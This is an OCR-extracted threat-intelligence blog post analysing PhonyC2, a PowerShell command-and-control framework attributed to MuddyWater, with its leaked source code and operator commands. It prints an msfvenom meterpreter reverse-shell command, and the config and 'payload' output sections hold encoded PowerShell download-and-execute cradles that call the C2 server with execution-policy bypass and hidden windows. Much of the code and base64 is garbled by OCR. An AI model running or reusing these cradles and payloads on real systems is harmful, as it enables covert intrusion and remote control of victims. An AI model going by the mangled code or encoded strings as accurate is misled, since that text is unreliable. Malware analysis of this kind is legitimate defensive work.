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Learn more

MuddyWater, also known as Mango Sandstorm (Mercury), is a cyber espionage group that is
a subordinate element within the Iranian Ministry of Intelligence and Security (MOIS).

Executive summary:

» Deep Instinct’'s Threat Research team has identified a new C2 (command & control)
framework

o The C2 framework is custom made, continuously in development, and has been used
by the MuddyWater group since at least 2021

e The framework is named PhonyC2 and was used in the attack on the Technion Institute

e PhonyC2 is currently used in an active PaperCut exploitation campaign by
MuddyWater

e PhonyC2 is similar to MuddyC3, a previous C2 framework created by MuddyWater

MuddyWater is continuously updating the PhonyC2 framework and changing TTPs to avoid
detection, as can be seen throughout the blog and in the investigation of the leaked code of
PhonyC2. MuddyWater uses social engineering as its’ primary initial access point so they
can infect fully patched systems. Organizations should continue to harden systems and
monitor for PowerShell activity.

Background

In April 2023, Deep Instinct’s threat research team identified three malicious PowerShell
scripts that were part of an archive called PhonyC2_v6.zip

Note: V6 is the name of the folder found on the server. Since this is not an official C2
framework, there is no changelog and version history. The framework has been changed
over time, but we don't know the internal version numbers. Therefore, we refer to other
versions by unique identifiers rather than version numbers.

The filename piqued our interest and we set out to discover if it was a known C2 framework.
After a quick investigation, it was revealed that the C2 framework was found by Sicehice in a
server with an open directory listing.
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& C O 8 91.235.234.130:8000

Directory listing for /

e .bash history
e _bashrc

e _cache/

e _local/

e _profile

e .python_history
e _selected_editor
o .ssh/

o .wget-hsts

e 404.aspx

* bore

e bore-v0.4.1-x86_64-unknown-linux-musl.tar
* chisel/

e chisel 1.7.7 linux_amd64

e frp 0.44.0 linux_amd64/

e generator.sh

™ gg_f

e ligolo/
* PhonyC2_v6/

e procdump64.exe

e quic-reverse-http-tunnel/
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Figure 1: Image of files located on the server
Note: Sicehice is an organization that automates the collection of cyber threat intelligence
from over 30 sources and enables users to search against the collected IPs.

There was no previous information regarding PhonyC2 and as the zip file contained the
source code, we decided to analyze the code to further understand this C2 framework.

Our initial investigation revealed that the server which hosted the C2 is related to
infrastructure that was used by MuddyWater in the attack against the Technion.

Further research revealed additional connections to MuddyWater infrastructure including the
ongoing PaperCut exploitation and previous attacks using earlier versions of the C2
framework.

Exposed Server Analysis

In addition to the zip file of the PhonyC2, Sicehice uploaded additional files found on the
server, including the “.bash_history” file which revealed the commands the threat actors ran
on the server:

ﬂs
apt install tmux
apt update
apt install tmux

: l"-

I' cd PhonyC2 VEEI
1=z
apt install python3-pip
tll -r req.txt
pip install -r req.t=xt
1s
ifconfig
python3 Please Run_Once.py
[AVES
exit
tmux at -t 0
la
wget 45.86.230.20|
tmux at -t O
wget Qi
tar -Zxvi IIp U.44.0_Jlinux_amdod.tar.gz
la
tar -zxvi frp 0.44.0 linux amdé4d.tar.gz
cd frp 0.44.0_linux amdéd/
1s
tmux
tmux at -t 0
tmux at -t 1
tmux at -t 2
wget pyth0n2 WsC2.py
wget 1 a
Tar -ZXVI Ch
gunzip chisel 1.7.7 linux amdé&d.gz
1s
cd chi

chmod a4x chisel 1.7.7 linux amdé&d

Flgure2 Start of .bash_history file

3/26


https://www.deepinstinct.com/blog/new-muddywater-threat-old-kitten-new-tricks
https://www.ynetnews.com/business/article/syjobiuti
https://urlscan.io/result/afc4fc6f-e47c-45e6-abbe-953b7ad124a4/

tmux at -t 2
pwd
wget https://github.com/ekzhang/bore/releases/download/v0.4.1/bore-v0,4,1-x86 64-unknown-linux-musl.tar.gz
1)
gunzip bore-v0.4.1-x86_64-unknown-linux-musl.tar.gz
1s
tar -zxvfi bo
tar -xvf bore-v0.4.1-x86_64-unknown-linux-musl.tar
ls
. /bore
./bore server
tmux _at -t 2
| t mafvenom -p windows/xéd/meterpreter reverse_https lhost=194.61.121.86 lport=8443 -f aspx > 404.a3[’.x|
apt 1nstall gpgve autoconl bison bulld-essentlal postgresgl libaprutill libgmpi-dev libpcap-dev openssl libpg-dev
ncurses-dev postgresgl-contrib xsel zliblg zliblg-dev -y
apt update -y
tmux at -t 2

Figure 3: End of .bash_history file
In figure 1 we can see the presence of “Ligolo,” another tool that is known to be used by
MuddyWater.

In figure 2, commands related to PhonyC2 are marked in red.

In figure 2 and figure 3 marked in blue are additional IP addresses that the threat actor used.
Both addresses are mentioned as C2 servers in the report Microsoft published about their
findings from the Technion attack, which they attributed to MuddyWater.

Open-source tools are marked in orange; ERP is known to be used by several Iranian threat
groups and Chisel is only known to be used by MuddyWater, but this does not mean it's
exclusive.

Additionally, in Figure 3, we can see another tunneling tool named “bore” that has not
previously been reported to be in use by MuddyWater.

The combination of the presence of known MuddyWater tools on the server and the fact that
the threat actor communicated with two IP addresses known to be used by MuddyWater
raised suspicion that PhonyC2 is a framework used by MuddyWater.

Taking a Closer Look: Code Analysis

To better understand the Phony C2 framework, we looked at the source code. As we can see
in figure 2 above the first file of interest is “Please_Run_Once.py:”
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webserver.py

)l # Python 3

4 Please_Run_Once.py config.py config.bak
1 import wuid

2

31IP = input("Enter IP Address: ) # Python 3

A Port — 'inpn'i-( 'Enter Poact Mymber- - :i # Puthnn 3

|5 Ext = input("Enter WebServer Ext Like (Php|ASPX|JSP|HTML |ASP
6 Tln = open( Lsnotcorefconfig.bak"™, re” )

7T data = fin.read()

8 #print(data)

9 for line in data:

10 #read replace the string and write to output file
11 data = data.replace('[TFP]"', IP)

12

13 data = data.replace( ' [Port]’', Port)

14

15 data = data.replace('[Ext]', Ext)

16

17

18 data = data.replace('[111]', str{uuid.uuid4()))
19 data = data.replace('[222]', str{uuid.uuid4a()))
20 data = data.replace( '[323]', str{uuid.uuida()))
21 data = data.replace( ' [444]', str{uuid.uuid4()))
22 data = data.replace('[555]', str{uuid.uuid4a()))
23 data = data.replace( ' ' [666]', str{uuid.uuid4(}))
24 data = data.replace( ' [777]"', str{uuid.uuid4()))
25 data = data.replace( ' [828]"', str{uuid.uuid4()))
26

27

28

29 fin.close()

30

31

32 finl = open("isnotcorefconfig.py”, "wt")

32 poverrite the input file with the resulting data
34 finl.write(data)
35 finl.close()

Figure 4: Please_Run_Once.py code

The script creates a unique config file where the IP address, the port that the C2 framework
listens to for connections, and an extension for a decoy must be specified, as seen in line 5
in figure 4. Additionally, the script will add to the config.py file random UUIDs (Universal
Unique ldentifiers), which makes tracking the URLs of the C2 framework less trivial.

An example of config.py file:
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11

12 endpoints = dict(

13 login='/f245da33-dal10-4a97-93ca-a2287294065c.aspx', #Registration EndPoint Or flogin?info=

14 sendcommand="'/39904bf5-8Te@-4750-a3fc-612601e8470d.aspx’', #S5endCommand EndPoint Or /send

1’5 getcommand='/163d8151-b4ad b463-6586a424c2b3.aspx', #GetCommand EndPoint Or fsend

16 download="'/f65bfoc5-40eb-447c-b8as5-ff2ed7e30dae/"', #Download

a i GET_CORE_Binery='/562a2ffe-a45a-4318-864b-5942fbd0as59.aspx', # GET CORE Binery

18 Persist='/bfe3e®4b-ad3f-4761-b122 1c5929414.aspx', #Persist EndPoint Or /fPersist

19 Persist_Core='/2640d4bb-a683-4270-9874-fb9e227d3add.aspx', #Persist_Core EndPoint Or /Persistc
20 Persist_Core_Run='/5f216504-69c7-47c2-853e-9422beda2b39.aspx’', #Persist_Core_Run EndPoint Or fPersistcr
21)

22

23 agents = dict()

24 commands = dict()

25 times = dict()

26 ips = dict()

27 ip_country = dict()

28 persist_id = dict()

29 upload_tokens = ""

30 Bincode = random. randtnt(ll 22)

31 spiter_Array = ["]", e (O L
32 spiter_Array_int = random‘randtnt(ﬂ, 9)

33 spiter_Array_string = spiter_Array[spiter_Array_int]

34 print(spiter Array string)
35 BtnStrtng = "foreach(sSi in \\\UHL-tulLuld \\programdata\\db.sqlite) ||Pdidt9('[huilel_ﬂlldy]
ncode]),23)3}};:IEX Sn;""".replace(”[bi |<uurJ SSLr(BLncode))

Flgljre 5: Example of config.py with random UUID in lines 13-20

_CORE_Binery'] +"2 RandanukEnw ~"+apiy7_RandomToken

apive_| RandonTokens v8_RandonToken

68 server = "http://" + vps['ip'] + " + wps['pori'] + endpoints
69 server_hex = "http://" + wps['ip'] + ":" + vps['port'] +

70
[r1s = open(" /payioa /payload_2022.ps1').read() |

775 = 5.replacel (o¢ S onTy_server)

73s = endpoints[’login'])

7as = s. and)', endpotints['sendcommand’ 1)
75s = s.replace( ' (getcommand) ', endpoints[ getcommand' 1)

76

77

78 sss = open('./payload_2022/persist_payload_2022.ps1').read()
79 sss = sss.replace(’ (server)', only_server)

80 sss = sss.replace( (login)', endpoints[ login'])

81 sss = sss.replace( (sendcommand) ', endpoints['sendcommand’])
82 sss = sss.replace( (getcommand)', endpoints[ getcommand']
83

84

85 #core = s +" | I'E'X"
86 core = s

87 p_core = sss

88 p_core_un = sss|

89 HEX = s

90

91

92

93 HTTPWebRequest = 'Sr=[System.Net.HTTPWebRequest]::Create(”' + server + '"):Sr.proxy=[Net.WebRequest]::GetSystemWebProxy();Sr.proxy.Credentials=[Net.Credentialcache]: :DefaultCredentials; -
$r.UserAgent="Googlebot"; Srr=$r.GetResponse();Sreqstream=$rr.GetResponsestrean() (New-Object System.I0.StreamReader Sreqstream).ReadToE et Content -Force -Path c:\\programdata\\db.sqlite -
Value S$sr

94 InvokeRestMethod = 'powe Invoke MLJZHLI\O(J ' + server + ' -OutFile c:\programdata\db.sqlite; J((\ ib I’v c:\programdata\db.sql

95 IWR = 'powershell ro ri + server + amdata\db.sqlite;att te'

96 StartﬂitsTransfer 1 1| -Command "Start-B e;attrib +h c

97 IWR_AND_RUN = "' 1 2 attrib +h A"\'xf!\ﬂrg rrﬂ‘/\' ,'0'))

i H

m. Text 1
s(r(nlncade)) replace(’ [<piter .mﬂ] ,str(sptter _Array_string))
1") -ArgumentLiSt byp"+"ass -Window"+"Style Hid"+"den -en"+"c "+$args[1]) -WindowStyle Hidden )} -ArgumentList

\progr amdata\db

sgramdata\db. s c:\programdata\db. sqlite;foreach(St tn $x6a){LF(S1)Sc +=
stem.Convert] 2 Jotn
101 cmds_3 ta ower 1 umentList "-exec bypass -w 1 roqramdat:‘d'\ te Force c:\programdata\db.sqlite;foreach( Si in "$x64){if( $1){ Sc +=
[yaTom. Text Encoding]: :UTFa. Getsering ([Systam Convert]s: ToXness( §1,2) “Jotn 113" _Windowstyle Hidda
Le2
Le3
164 One_Ltne_BitsTransfer tart-BitsTransfer -Source ' + server + ' -Destination c:\programdata\db Lte;$x6a=(gc c:\prograndata\db.sqlite).split(",");rn —Force c:\programdata\db.sqlite; foreach(st
n $x64){LF(S em.Text.Encoding]::UTF8.Getstring([System.Convert]::ToInt32(51,2))}}:1 E x/f ZJot
Les
106 HEX_download -dilaxu\ ydi u t2 Jaterib +h c:\programdata\onlydigit2. int; ((((ge c:\programdata\onlydigit2.ini))-split (..)"|2{s_}|%{[char]-
[convert] Tz
107 HEX_CMD = ' %{[c Rar H(r vert]::ToInt16($_,16)})-join"");rm -Force c:\programdata\dnlydigit.ini|I EX;
Les

o9

Figuré'G: Additional information from config.py
In figure 6 the config file contains various PowerShell commands, which are different
payloads that are used by the framework.

The main.py file is small and starts a multi-threaded webserver and a command line listener.
From this code we see that the name “PhonyC2” is used internally:

1 from isnotcore import config

2 from isnotcore import banner

3 from isnotcore import webserver
4 from isnotcore import commandline
5 import threading

[+]

74if __name == '_main__":

8 banner.banner()

9 print("\833[1;32;40m \nPlease careful don't lose your persistence keys in keys file" +"\n \©033[&m")
10 print("\033[1;32;40m \nWhat is your business with powershell of peoplez"” + "\n \@33[Om")

1 server = threadtng‘Thread(target:webserver‘main, args=())

12 server.start()

13 cmdline = commandl

14 cmdline.prompt = '] + ":" + conflg.vps['port'] + "):"

15 cmdline.cmdloop()

Figure 7: main.py contents
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The webserver.py is responsible for serving the C2 framework payloads:

241|#@app.route( ' fapliy/ ')

242 @app.route{config.endpolnts[ 'GET_CORE_Binery'])
243 # GET CORE Binery

244 def GET_CORE_Binery():

245 # print{config.server)

246 payload = config.core

247 data = request.args.values()

248 if data:

249 for j in data:

250 # print(j)

251 if j == config.apiy7_RandomToken:

252 print{"\033[1;32;40m \nDroper Bin Executed:" + j + "\n \033[&m")
253 #print({to_binary(payload))

254 #print(config.spiter_Array_string)

255 return to_binary(payload).replace( 0" ,config.spiter_Array_string)
256 else:

257 return

258 else:

259 return

260

261

262 # @app.route(’' fapiv8')
263 # # server_hex
264 # def apivg():

265 # # print{config.server_hex)

266 # payload = config.HEX

267 # data = request.args.values()

268 # if data:

269 # for j in data:

270 # # print(j)

271 # if j == config.apiv8_RandomToken:

272 # print("\®33[1;32;40m \nDroper HEX Executed:" + j + "\n \@33[em")
273 # return payload.encode("utf-8").hex()
274 # else:

275 # return "

276 # else:

27T return ""

278

279

280 #papp.route(' fapip9')

281 @app.route(config.endpoints[ ' 'Persist'])
282 # Persist

283 def Persist():

284 config.persist()

285 data = request.args.values()

286 keys = request.args.keys()

287 key req = ""

288 for k in keys:

289 key_req = k

290 if key_req == config.persist_RandomToken:

291 for j in data:

292 register_persist_id = j.split(":")[0o]
293 print({"\nPersist Request uuid " + register_persist_id)
294 if len{config.persist_1id) == o:

295 f = open{"keys.txt", "a")

Figure 8: Part of webserver.py code
Figure 8 shows the remnants from previous iterations of the framework in the commented-

out route names which have been replaced in this iteration of the framework with the random

UUID in the config.py file (lines 13-20 in Figure 5)

Commandline.py receives commands from the operator and prints the output of various
actions taken by the C2:



164 print("")

165 print( pc BYPASS - Nc W 1 -EncodedCommand + (encode(config.cmd5_3)).decode( utf-8"))

166 prtn:(b:nLnrs NARNING + bcolors.ENDC)

167 print("\e33[ 1Ex_TEST :\eaalan 1)

168 print( power " e )

169 print( powe n J E*X(hostname)")

170 prin:(b(nlnri WARNING + + bcolors.ENDC)

171

172

173 def do_payload(self,line):

174 #print("\033[1;32;40mone_Line_BitsTransfer\033[em "

175 #print(“powershell -EP BYPASS -NoP -W 1 En(cdcd(cmmand " + (encode(config.One_Line_BitsTransfer)).decode("utf-8"))

176 print(bcolors.WARNING + + bcolors.ENDC)

177 3print(r\833[1;32;49mCHD: (033 [m -

178 #print('echo ' + config.HEX_ SemLond. encode("utf-8").hex() + ' > c:\programdata\onlydigit.ini')

179 #print(”

180 #print(” powershell -exec bypass -w 1 -enc ' + (encode(config.HEX_CMD)).decode("utf-8"))

181 #Print(beolors . WARNING + - - - - ——-—-— ool TT " 4+ beolers.ENDC)

182 PRNEC"\033[1;32:40mStar t-Job:\033[0m ")

183 #orint(config. INR_AND RUN)

184 print(config.Start_Jobs.replace( (ENCOL 11y . (encnde(cnnFLg IWR_AND_RUN)).decode("utf-5")))

185 start_job_enc = (conflg.start_Jobs. replace( DEC . (encode(config. INR_AND_RUN)) .decode("utf-5")))

186 print("")

187 print(“powe EP BY Nc v EncodedCommand + (encode(start_job_enc)).decode( utf )

188 Print(beolors. HARNING + + bcolors.ENDC)

189 print("\633[1;3 _by_step:\@33[om ")

190 Print(r\e33[1;32:don(1) => Notice: (HTTPWebRequest Droper) \833[om *)

191 print( T riptBle I Request -UseDefaultCredentia UseBasicParsing -Uri (server) -OutFile Sinput Inputobject \\prograndata\
\d q repla(e( erver cnnFLg server))

192 print("\033[ 33[

193 BtncodeysTeontin ¢ to e hases4(conF\g Btnstrtng replace( ter Array]”,str(config.spiter_Array_string)))

194 print( S\\p a\\d Value stem.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String( bincid

195 print( \033 ;32;46m(3) => Notice: (She Open Your Eyes -Windowst Mininized tead of -W \e3z[en ")

196 print(’ s [wm 1'root\\elmv2:Win32_Process’;$pc.Create( ' powershell -EP BYPASS -NoP -W h -file c:\\programdata\\d Y, tLt,snull)ssleep Sirmoci\\
\prograndata\\d )

197 print(' ')

198 print( ower she tart-J riptBlock voke-WebRequest -UseDefaultCrede Uses rsing -Ur server) -OQutF s it sto t \\progranc

' .replace( (server) ' ,config.server))
199 print(' ')
200 print( rshel B In eDefa t 1 A\\pro
t -F t W C g7 :: L tr ¢ omBase a( cide Spc = [wm ] root\\

S eate ershell -EP BYPASS -NoP -W h -file[ci\\prooramdata\vdb_psi], 1 yramdata\\db.sqlite|: rm c:\\programdata\
\d ‘.replace( (server)',config.server).replace( 7o, Bincede))

201 print(’ ')

202

283 class UseCmd(cnd.Cmd):

Usecnd_agent_id =

2ot def do_exit(self, person):

206 sys.exit()

207

208 def do_back(self, back):

209 objeback = :nmmandltne()

210 objeback.prompt = ye + config.vps['ip'] + + config.vps['port'] +

211 objeback.cmdloop()

212

213 def emptyline(self):

214

215

Figure 9: Part of commandline.py

‘.replace( binci

yrandata\\d

,Bincode))

Lite 5 rmoc:\

Figure 9 and Figure 5 the code of a file named “C:\programdata\db.sqlite” and “db.ps1.” Both
of those files are mentioned with the same name and path in Microsoft’s report about the

Technion hack.

While the malicious files from Microsoft’s report are not publicly available for inspection, the
combination of the IP addresses related to PhonyC2 appearing in Microsoft’s report with
those file names makes a strong argument that the Phony C2 framework was used in the
attack on the Technion. Additionally, the files created by the C2 framework are detected as

“‘PowerShell/Downloader.SB,” the same detection name Microsoft used in their blog.

Since both files are dynamically generated by the C2 framework, they are slightly different in
each execution of the framework, therefore, blocking the hashes Microsoft provided is not

exhaustive.

How It Works
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5 python3 main.py

HUTHBEHE: s B s VI VEHEES s HE CRF-T- PN S VI 1 HHBHHNE
Hit. ... #HH#: Wz D HE. Wit #HHH : : : R 2 HHE. ...

Hu:::: HH Hu:i:: #H Tt : T WHAH: W THHTE it
HMHH s o WM W s B MY HE Mp: i3 : W
Hi . . H. . M Tz M WL WHMHI:: : :
WL - w1 WA s HE: HH: HH - == HE - -
it it : AR #it: i

* Serving Flask app 'isnotcore.webserver'

* Debug mode: off
(PhonyC2:172.16.162.1:1337):help

list pavliocad setcommandforall use

{(PhonyC2:172.16.162.1:1337):}
Figure 10: PhonyC2 commands
While it might look like there are many options and outputs, the C2 is actually simple if we

understand what the code does.

This C2 is a post-exploitation framework used to generate various payloads that connect
back to the C2 and wait for instructions from the operator to conduct the final step of the
“Intrusion Kill Chain.”

payload” Command:

(PhonyC2:172.16.162.1:1337) :payload

-scriptBlock {(saps ("pow"+Sargs[0]+"LL") -ArgumentList ("-ex"+"ec byp"+"ass -Window yle Hid"+"den -en"+"c "+Sargs[1]) -Windowstyle Hidden )} -ArgumentList ("ershe”,”SQB3AHIATAAtAFUACGBPACA
AIgBoAHQADABWADOALWAVADEANWAYACAAMQAZACAANQA2ADTALGAXADOAMQAZADMANWAVADUANGAYAGEANGBMAGYAZQA tAGEANAA1AGEALQAOADMAMQA4ACOAOAAZADQAYGA L ADUADQAGAD TAZGB L AGRAMAB hADGANQASAC4AY QBZAHAACAA / ADGANABOAF0ATABHAF IANg
[BUAFUAUQASADGANABOAF oATABHAFTANGBVAFUAUQATACAALQBPAHUAJABGAGKADABTACAAYWABAFWACABYAGBAZWBYAGEADQBKAGEAABhAF WAZABTACAACWBXAGWAaQBOAGUAOWBhAHQAAB yAGKAYGAGAC sAaAAGAGHAOGE c AHAACGBVAGCACGBhAGBAZABhAHQAYQBCA
CQAYgAUAHMACQBSAGKADABLADSAIABA. gAKABNAGMATAB JADOAXABWAHIABWENAHIAYQB tAGQAYQBOAGEAXABKAGIALGBZAHEADABPAHQAZQAPACAACGBLAHAADABNAGMAZQAOAC CAKAANACWAIWAWACCAKQAPAC AACWBWAGWAIQBOACGATGASACIAKQAZAHIA
bQAGACOARGBVAHIAYWBLACAAYWABAFWACABYAGBAZWBY AGEADQBKAGEADABhAFWAZABLACAACWBXAGWAIQBOAGUAOWBMAGBACGBLAGEAYWBOACIAJABPACAAIQBUACAAIABAADYANAAPAHS A3 QBMACGAIABPACKAGWAKAGMAT AAr ADBATABDAF MACQBZAHQAZQB tACAAVAB
[LAHgAJAAUAEUADGB JAGBAZABPAG4AZWB dADOAOGBVAFQARGA4ACAARWE LAHQAUWBOAHTAaQBUAGCAKABbAF MAEQBZAHQAZQBAC4AQWBVAG4AdgBLAHIAJABJADOAOGBUAGBASQBUAHQAMWAY ACGAKAAKAGKAL WAXADQAKQASAD T AKQAPAHBA FQATAEKAYABFAGAAWAAOAC
QAYWAGACOASGBVAGKADGAGACIATGAPACAA™) | Out-Null ; sleep 3.3

powershell -EP BYPASS -NoP -W 1 -EncodedCommand UWBBAGEACGBBAC IAL ET auAg BZACAAKAA L AHAABWB3AC TAKWAKAGEACGBNAHMANWAWAFBAKWA T AGWABAATACKAT AALAEEACGBNAHUABQB
[LAG4AdABMAGKACWBOACAAKAATACEAZQBAACTAKWA LAGUAYWAGAGTACQBWACTAKWATAGEACWBZACAALQBXAGKADGBKAGBAIWALACSATGBTAHQACQBSAGUATABIAGKAZAATACSAT gBKAGUADGAGACOAZQBUACTAKWALAGMATAATACSATABRAHTAZWBZ AFSAMQBAACKATAAEAF
CA3QB UAGQADWE 3AFHAJABSAGWAZQAGAE GAIQBKAGQAZQBUACAAKQBIACAAL QBBAHIAZWE 1AGOAZQBUAHOAT ABPAHHAGAAGACIAL gB LA 1ACWBOAGUALGASAC L AUWBRAE LAMWE BAEGASQBBAE KAQUBBAHQAGQB CAFUAGQB JAGEAQGBWAE EAQUBBAE EASQBNAE LADUBBAEGAU
e T T AEEAT EEADTNOE D ADGEOQEEREDD EDEEAT A T L T o e e o e e T LR e
kAQQBaAF AEEATGBBAE! BBAD! QBN. AUQBBA UAQQBPAFEAQQAWAEEARAB.
AQQBOAFEAQQA]AE EAWQBRAET u QQBBA(BAQQBEAC(AQQBOAEEAQQBPAEEAigBVAEEAVABBAEIASABBAEVASQBBAE4AZWB(AFVAQQBCAFUAQQBVAFEAQQASAEEARABnAEEATgBBAEIATwBBAEVAwaBAFQAQQB(AEgAQQBCAEkAQQBOAC(AQg
BWAEE QBRAEEAaQ! EWAUQBCAFAAQQBIAFUAQQBKAEEAQBHAEEARWBT gBBAEL YAQQBGAHCAQQB j AEEAQQB 5AE EARWAAAEEAWQB 3AET ACQBBAE c ARQBBAGTAUQBCAGSAQQBHAEUAQQBKAEEAQQBOAE EARGB3A
EEAWQBBAE T AaQBBAEMANABBAGMAJWBCAHAQQBHAHCAQQBNAFEAQGAWAE EARWBVAEEATWE 3AE TAaABBAE g AUQBBAGQAQQBCAHKAQQBHAGS AQQBZAGCAQQBNAE EAQWBZAEEAYQBBAEEAZWBBAE CATQBBAEBAZWB CAGMAQQBIAE EAQQE JAGCAQQB2AEEARWB JAEEAYWBNAETA

aABBAE CAMABBAFOAQQBCAGJAQQBIAF EAQQBZAFEAQQB J AEEARWBRAEEAWQBNAEEAJQBBAEGATQBBAGMAUQB CAHMAQQBH: EEASQBBAETANABBAEQANQBBAE4AQQBBADKAQUBDAGCAQQBLAEEAQYB EEASQBBAEIAAgBBAE
BAFQAOOB(AH(AOOBIAEkAQQBIAH(AOGBuAEEA)ABJAEEANOBRAEIAHABBAE(AueBBAFkAucB(ADAAQQBHAEUAQOBVAEEAOQBrAEEARWBJAEEATABnAEIAEgBBAEQARQBBAQIAOQB(AHAAQQBIAFEAOOBEAFEAOOBWAEEAQWROAEEAYanAEIADABBAEgAQQBBAGIAQQB(AG
9AQQEBHAEQAQQBAAF QuB JAE AQ QQBLAF: QUA@AEEAYWB3AEIAJWBBAECAG QBC/ GCAQQBIAGE. QB BAGIAUQBBAGCAQQBDADAAQ
QBSAGC BIAEEAWQB3AET QQBBAFkAdWBBAD AQQBjAE= EEAW =3AEIAeQBBAEcARQBBA&IAUQBCAGsAQQBHAEuAQQBkAE RgB ETA AGMAJWBCAHgAQQBHAHCAQQBhAFEAQgAW
EEATWB3AET OABBAGMAZWBC. JAQQBZAH AQWBH, gBBAET AGEAUQBCAHUAQQBDAEEAQQBKAEEAQQAOAEEARABZAEEATBBAEEACABBAEGACWBBAGEAUQBCAGOAQQBDAGEAQQBKAEEAQQBWAE EAQWBFAEE
AZQB3AEEAaWBBAECATQBBAEKAQQBBAHTAQQBEADAAQQB JAEEAQQB1AEEARGBNAEEAZQBRAET AegBBAEGAUQBBAFOAUQBCAHQAQQBDADQAQQBHWAEEAQQBSAEEASABNAEEAZABBAEEAJQBBAEUAVQBBAGIAZWB CAGOAQQBHADGAQQBAAEEAQOBWAE EARWAOAEEAWGB 3AETAZA
BBAEQAwaBAEﬁnZwB(AFYAQQBGAFEAQQBSAG(AQQAOAEEAQwAOAEEAUqBBAE[AbAEBAEqAUQBBAFUndeCADAAQQBIAEkAQQBhAFEanBlAEEARijnEEASwBBAE[AVqBBAEVATQBBAGUAUQBLAHDAQQBIAFEAQQBQAFEAQQBOAEEAQwAOAEEAUQBSAEIAGQBBAE(ANABBA
GUAZWB(AQWAUUBIAEkAUUBkAEEAQgBkAEEARABVAEEATanAEIAVUBBAE(ADABBAFMAUUB(AHLIAUUBIAF E£AQQBNAHCAQQB 5AEEAQWBNAE QQBEAFEAQQBLAFEAQQB ZAEEARABIAE EASWBRAEEACABBAEGAMABBAGYAUQBBADCA
AEMAUQBBAFkK QQ QBTAGCAQGB ZAEEARWBI AE EAYGBNAEEAZWB BAEMASQBBAE KAZWBBAHAAQQBDAEEAQQALACKAT ABBACAATWE 1AHQALQBOAHUAbAB S ACAAOWAGAHNABABLAGUACAAGADMALGA

start-Job -scriptBlock {Invoke-WebRequest -UsepefaultCredentials -UseBasicParsing -Uri http://172.16.162.1:1337/562a2f fe-a45a-4318-864b-5942fbd0as59.aspX7B4NZLGROUUQ=B4NZLGRGUUQ -OutFile $input )} -Inputo
bject "c:\programdata\db.sqlite

Set-content -Force -Path c:\programdata\db.psi -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]: :FromBase64string("ZmoyZWFjacgkasBpbiAoKChHZXQtQ29udGVUDCE jOlxWemINCmF tZGFOYVXKY152cHxpdGUp!
nJ1cGxhY2U0JygnLCcwIykpLnNWbGLOKCISTikpKXtpZigkas17IG4gKzOgWINSC3R1bS5UZXhOLKVUY29kaW5nXTO6VVRGOCSHZXRTAHIpbmcoW1NSC3R1bS5Db252ZXI0XTo6VGIIbNQzM1goIGkvMTQPLDTpKX1900LFWCAKDIS=")))

[Spc = [wniclass]'root\cimv2:Win32_Process';$pc.Create( 'powershell -EP BYPASS -NoP -W h -file c:\programdata\db.psi’, '.',snull);sleep 5;rm c:\prograndata\db.sqlite ; rm c:\prograndata\db.psi

powershell Start-Job -ScriptBlock {Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://172.16.162.1:1337/562a2ffe-a45a-4318-864b-5942fbd0a859. aspx?84NZLGR6UUQ=B4NZLGR6UUQ -OutFile $inpu
t } -Inputobject "c:\programdata\db.sqlite”;sleep 6

powershell start-Job -ScriptBlock {Invoke-WebRequest -UseDefaultCredentials -UseBasicParsing -Uri http://172.16.162.1:1337/562a2ffe-a45a-4318-864b-5942fbd0a859. aspx?B84NZLGRGUUQ=B4NZLGRGUUQ -OutFile Sinpu
[t 3 -Inputobject "c:i\programdata\db.sqlite’;sleep 6;Set-Content -Force -Path c:\programdata\db.psi -Value ([System.Text.Encoding]::UTF8.Getstring([System.Convert]::FromBase64string( 'znoyzWFjacgkasepbiAok
chHZXQ tQ29udGVudCB JOLxwemOncmF t ZGFBYVxkY152 chxpdGUpLNI1cGxhY2UoJygnl CcwlykpLnNwbGLOKCTISTikpKX tpZigkaS173GAgKzBgWINSc3R1bS5UZXhBLKVUY29kaW5nXTo6VVRGOCSHZXRTdH I pbmcoW1NSc3R1bS5Db2522X 10X To6VGaIbnQz MigoIGky
MTQPLDIpKX19001FWCAKbIS=")));Spc = [wmiclass]'root\cimv2:Win3z_Process';Spc.Create('powershell -EP BYPASS -NoP -W h -fil \prograndata\db.ps1', '.',Snull);sleep 5:rm c:\programdata\db.sqlite ; rm c:\p
ogramdata\db.ps1

Figure 11: “payload” command output



https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf

In figure 11 we see a step-by-step explanation of what happens:

1. PowerShell command creates a http request to the C2 to receive an encoded file and
save it as “c:\programdata\db.sqlite”
2. PowerShell command writes the base64 decoded content to “c:\programdata\db.ps1”

Input + O] § =

Zm9yZWFjaCgkaSBpbiAoKChHZXQtQ29udGVudCBjOlxwemOncmFtZGFOYVxkYi5zchxpdGUpLnIleGxhY
2Uo0JygnLCcwIykpLnNwbGloKCIsIikpKXtpZigkaS1l7JG4gKz0gWINSc3R1bS5UZXhoLkVuY29kaWsnXT
06VVRGOCSHZXRTdHIpbmcoW1N5c3R1bS5Db252ZXI0XTo6VG9IbnQzMigoIGkvMTQpLDIpKX19081FWCA

kbjs=
aec 248 = 1 TT Raw Bytes € LF
Output B rD B o

foreach($i in (((Get-Content
c:\programdata\db.sqglite).replace('(','@")).split(","))){if($1i){$n +=
[System.Text.Encoding]::UTF8.GetString([System.Convert]::ToInt32(($i/14),2))}};IE
X $nj|
Figure 12: The content of the db.ps1

3. PowerShell command executes db.ps1 which in turn reads and decodes db.sqlite and

executes the result in memory.

Essentially, this is a one-liner to execute on a compromised host so it will beacon back to the
C2.

Example Decode Routine

As previously mentioned, the files generated by the C2 are slightly different each time,
however, the decoding logic remains mostly the same.

Below is an example of db.sqlite content and a diagram explaining the decoding routine:
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« = C & view-source:http://172.16.162.1:1337/562a2F 318-864b- PX7LYGEDE1KTNE=LYGEDE 1K TNE pd

114444443144444443, 138281313, 1443@13@, 1443@13@, 14314443, 1443€13@, 1313@, 143@@143, 1431436¢, 1443@143,1313¢, 13@13@e, 13@@E13, 143€13€@, 143013@E, 1443@13@, 143@1313, 1443@143, 1443@143, 13@@EEE, 1444313, 13@@eee, 13@213€, 143130e@,

B new 1- Notepad++ - o X
File Edit Search View Encoding language Settings Tools Macro Run Plugins Window 7 X
HEHBR LA L HLDoec|he 2% EES1 FENTH® @EEBE

